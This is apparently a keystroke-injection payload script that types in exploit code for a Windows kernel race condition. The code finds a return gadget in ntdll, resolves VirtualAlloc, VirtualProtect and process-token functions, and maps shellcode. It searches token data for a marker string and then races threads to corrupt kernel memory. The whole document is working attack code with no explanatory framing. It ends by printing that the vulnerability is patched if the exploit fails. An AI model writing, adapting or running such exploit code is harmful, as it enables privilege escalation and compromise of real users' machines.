STRING var gadget_bytes = [0x5A, 0x59, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x41, 0x5B, 0xC3]
ENTER
STRING tmp_bytes = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
ENTER
STRING gadget_ptr = find_bytes(ntdll_base, 0x217000, gadget_bytes, tmp_bytes)
ENTER
STRING // get the ntdll & kernel base exports and find VirtualAlloc/Protect
ENTER
STRING var kernelbase_exports = get_dll_exports(kernelbase_base)
ENTER
STRING var ntdll_exports = get_dll_exports(ntdll_base)
ENTER
STRING VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"]
ENTER
STRING VirtualProtect_ptr = kernelbase_exports["VirtualProtect"]
ENTER
STRING // map our code first blob of shellcode
ENTER
STRING var code_addr = map_code(get_token_handle_code)
ENTER
STRING var smash_func_addr = map_code(smash_func_code)
ENTER
STRING var create_smash_thread_ptr = map_code(create_smash_thread_code)
ENTER
STRING var attempt_race_ptr = map_code(attempt_race_code)
ENTER
STRING // create our shellcode context
ENTER
STRING var ctx_ptr = globalArrayNew8Bit("ctxp", 0x500)
ENTER
STRING var ctxp = ptr_to_num(ctx_ptr)
ENTER
STRING // allocate our token info buffer
ENTER
STRING var tinfo_ptr = globalArrayNew8Bit("tinfo", 0x2000)
ENTER
STRING var tinfop = ptr_to_num(tinfo_ptr)
ENTER
STRING // look up the functions needed by our shellcode
ENTER
STRING var OpenProcessToken_ptr = kernelbase_exports["OpenProcessToken"]
ENTER
STRING var GetCurrentProcess_ptr = kernelbase_exports["GetCurrentProcess"]
ENTER
STRING var NtQueryInformationToken_ptr = ntdll_exports["NtQueryInformationToken"]
ENTER
STRING var CreateThread_ptr = kernelbase_exports["CreateThread"]
ENTER
STRING var TerminateThread_ptr = kernelbase_exports["TerminateThread"]
ENTER
STRING var GetCurrentThread_ptr = kernelbase_exports["GetCurrentThread"]
ENTER
STRING var SetThreadPriority_ptr = kernelbase_exports["SetThreadPriority"]
ENTER
STRING // setup shellcode ctx
ENTER
STRING write64(ctxp, GetCurrentProcess_ptr)
ENTER
STRING write64(ctxp+8, OpenProcessToken_ptr)
ENTER
STRING write64(ctxp+0x10, NtQueryInformationToken_ptr)
ENTER
STRING write64(ctxp+0x18, tinfop)
ENTER
STRING write64(ctxp+0x20, CreateThread_ptr)
ENTER
STRING write64(ctxp+0x28, smash_func_addr)
ENTER
STRING write64(ctxp+0x48, 0x800000)
ENTER
STRING write64(ctxp+0x50, GetCurrentThread_ptr)
ENTER
STRING write64(ctxp+0x58, SetThreadPriority_ptr)
ENTER
STRING // call create_token_handle
ENTER
STRING var bytes_returned = call_native(code_addr, ctxp, 0, 0, 0)
ENTER
STRING var token_handle = read64(ctxp+0x40)
ENTER
STRING var magic_str = [0x54, 0x00, 0x53, 0x00, 0x41, 0x00, 0x3A, 0x00, 0x2F, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x55, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x71, 0x00, 0x75, 0x00, 0x65, 0x00]
ENTER
STRING tmp_bytes = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
ENTER
STRING var magic_str_ptr = find_bytes(tinfop, bytes_returned, magic_str, tmp_bytes)
ENTER
STRING var smash_ptr = find64(tinfop, bytes_returned, magic_str_ptr)
ENTER
STRING write64(ctxp+0x30, smash_ptr)
ENTER
STRING write32(ctxp+0x38, 0x41414141)
ENTER
STRING write32(ctxp+0x3C, 0xFFFFFFFF)
ENTER
STRING // trigger the bug
ENTER
STRING var thread_handle = call_native(create_smash_thread_ptr, ctxp, 0, 0, 0)
ENTER
STRING call_native(attempt_race_ptr, ctxp, 0, 0, 0)
ENTER
STRING call_native(TerminateThread_ptr, thread_handle, 0, 0, 0)
ENTER
STRING // if we got here the bug did not trigger
ENTER
STRING printConsole("If you're seeing this the kernel vulnerability is patched, sorry :c\n")
ENTER